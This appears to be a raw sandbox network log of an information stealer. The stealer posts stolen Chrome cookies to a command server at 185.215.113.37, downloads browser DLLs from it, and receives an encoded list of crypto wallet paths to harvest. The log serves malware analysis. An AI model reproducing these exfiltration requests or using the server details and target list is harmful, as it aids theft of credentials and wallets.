78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------AAKKECFBGIIIEBGDGDAK--
Oct 25, 2024 13:50:14.710752010 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:14.781749964 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file"------CGDHIEGCFHCGDGCAECBG--
Oct 25, 2024 13:50:15.625118017 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:16.393098116 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file"------ECBGCGCGIEGCBFHIIEBF--
Oct 25, 2024 13:50:17.233071089 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:17.590995073 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:17.874145031 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 25, 2024 13:50:19.356909037 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:19.641257048 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 25, 2024 13:50:20.407641888 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:20.690582037 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 25, 2024 13:50:21.253184080 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:21.536371946 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 25, 2024 13:50:23.671302080 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:23.954739094 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 25, 2024 13:50:24.428708076 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:24.914155006 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 13:50:25.371828079 CEST	201	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 185.215.113.37 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 13:50:26.216887951 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:26.281518936 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"wallets------FCBAEHCAEGDHJKFHJKFI--
Oct 25, 2024 13:50:26.566977024 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 25, 2024 13:50:26.569607019 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"files------FHDAEHDAKECGCAKFCFIJ--
Oct 25, 2024 13:50:26.855406046 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:26.867152929 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 